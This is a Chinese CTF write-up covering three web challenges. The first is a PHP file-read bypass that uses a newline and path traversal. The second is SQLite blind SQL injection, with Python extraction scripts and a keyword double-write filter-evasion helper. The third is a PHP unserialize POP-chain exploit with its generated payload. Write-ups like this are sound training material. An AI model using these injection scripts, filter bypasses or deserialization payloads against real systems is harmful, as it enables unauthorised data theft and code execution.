前言
拿了省一,好耶。在此得感谢师傅们与好基友@独奏
的耐心教导。
Web
第一次webak,好耶!
远古特性
第二波放的签到题
<?php
$file=$_GET['file'];
if (!preg_match('/^hint\/hint.txt$/m',$file)){
echo file_get_contents($file);
}
一开始还以为是过滤hint和hint.txt,仔细一看才发现hint是文件夹。
?cmd=hint/hint.txt%0a../../../../../../../../../flag
justlogin_web
sqlite3注入
以为这才是签到题,sql注入登录进去后,啥都没有。
后来又在images()
看了半天。
最后才反应过来这里可以盲注来着。
部分有过滤,双写绕过下:
最后半小时着实有点慌张,写脚本的时候不是忘记加循环就是逻辑有问题,最后慌慌张张脚本能跑,发现username能跑但password是空的,整麻了。
2021年11月6日10:11:41更新
复现了一下,password应该不是空的,只不过过滤了as
和or
,双写成paassswoorrd
再跑就好。
还好硬着头皮重新弄下跑sqlite_master的脚本。一开始尝试用hex()
减少字符量还不行,不知道哪里出错了,最后还是老老实实的逐个字符逐个字符跑。
import requests
url = "http://8fd95e2e-9d91-45b1-8ba9-d41be0125b3f.zj-ctf.dasctf.com:80/login"
flag = ''
data = {"username": "123' oorr 1=1 -- ", "password": "1"}
res = requests.post(url, data=data)
for i in range(1, 500):
low = 1
high = 128
mid = (low + high) // 2
while low < high:
#data['username'] = "1' oorr substr((sselectelect grgroupoup_coonncat(sql) frfromom sqlite_maasster),{},1)>'{}' -- ".format(i, chr(mid))
data['username'] = "1' oorr substr((sselectelect grogroupup_coonncat(flaggg) frfromom flaggghere),{},1)>'{}' -- ".format(i, chr(mid))
res = requests.post(url, data=data)
if 'Failed' in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
flag = flag + chr(mid)
print(flag)
print('\n' + bytes.fromhex(flag).decode())
还好最后赶上了。
2021年11月6日10:42:37更新
重新写了下脚本,转换成hex+二分法,跑的超快!
import requests
import time
result = ""
last = "tmp" # 用于判断可不可以终止
url = "http://10.163.45.213:8000/login"
data = {"username": "1' oorr 1=1 -- ", "password": "1"}
i = 0
char = '0123456789ABCDEF'
while result != last:
time.sleep(0.1)
i = i + 1
head = 0
tail = 15
while head < tail:
mid = (head + tail) >> 1
# %23注意转义
data[
'username'] = "1' oorr substr((sselectelect hex(grogroupup_coonncat(paassswoorrd)) frfromom users),{},1)>'{}' -- ".format(
i, char[mid])
r = requests.post(url, data=data)
# 用二分法加快判断
if b'Failed!' in r.content:
tail = mid # 下标前移,要求payload判断为假,结果为假,且为大于号
else:
head = mid + 1 # 下标后移,要求payload判断为真,结果为真,且为大于号
last = result # 无新增字符,说明结束了。
result += char[head]
print(result)
if result.endswith('00'):
break
print(result[:-2])
又写了个双写检测绕过,省的手动替换了。
import re
def fix(s):
width = int(len(s) / 2)
return s[:width] + s + s[width:]
blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH",
"AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN",
"COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME",
"CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH",
"DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS",
"EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB",
"GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER",
"INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT",
"MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET",
"ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY",
"QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE",
"RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP",
"TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE",
"USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]
sql = "1' or substr((select hex(group_concat(password)) from users),{},1)>'{}' -- "
sql_mod = sql
for i in blacklist:
p = re.findall(i, sql, re.I)
if len(p) != 0:
print(p)
sql_mod = sql_mod.replace(p[0], fix(p[0]))
print(sql_mod)
safepop
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun
{
private $func = 'call_user_func_array';
public function __call($f, $p)
{
call_user_func($this->func, $f, $p);
}
public function __wakeup()
{
$this->func = '';
die("Don't serialize me");
}
}
class Test
{
public function getFlag()
{
system("cat /flag?");
}
public function __call($f, $p)
{
phpinfo();
}
public function __wakeup()
{
echo "serialize me?";
}
}
class A
{
public $a;
public function __get($p)
{
if (preg_match("/Test/", get_class($this->a))) {
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B
{
public $p;
public function __destruct()
{
$p = $this->p;
echo $this->a->$p;
}
}
if (isset($_GET['pop'])) {
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
看到困难,总感觉这题很难。没想到其实挺简单的
pop链是
Test::getFlag()<- Fun:__call() <- A:__get() <- B:__destruct()
一查php版本,7.4>7.0.10,真苦恼啊,以为PHP Bug 72663
的那个__wakeup()
绕过不能用。
后来试了试,没想到可以。
而call_user_func
利用之前也做到几题,具体见刷题笔记:bestphp’s revenge
<?php
class Fun
{
public $func;
public function __construct()
{
$this->func = array("Test", "getFlag");
}
}
class A
{
public $a;
public function __construct()
{
$this->a = new Fun();
}
}
class B
{
public $p;
public $a;
public function __construct()
{
$this->a = new A();
$this->p = 'aaa';//传给__get的参数
}
}
/*
* Test::getFlag()<- Fun:__call() <- A:__get() <- B:__destruct()
*/
$b = new B();
echo serialize($b);
然后无脑改一下对象数,按理来说改Fun
的应该就行了,当时也没想太多直接无脑全改了完事。
O:1:"B":3:{s:1:"p";s:3:"aaa";s:1:"a";O:1:"A":2:{s:1:"a";O:3:"Fun":2:{s:4:"func";a:2:{i:0;s:4:"Test";i:1;s:7:"getFlag";}}}}
打入的时候心里还想着还得调试几次,没想到一次过。舒服。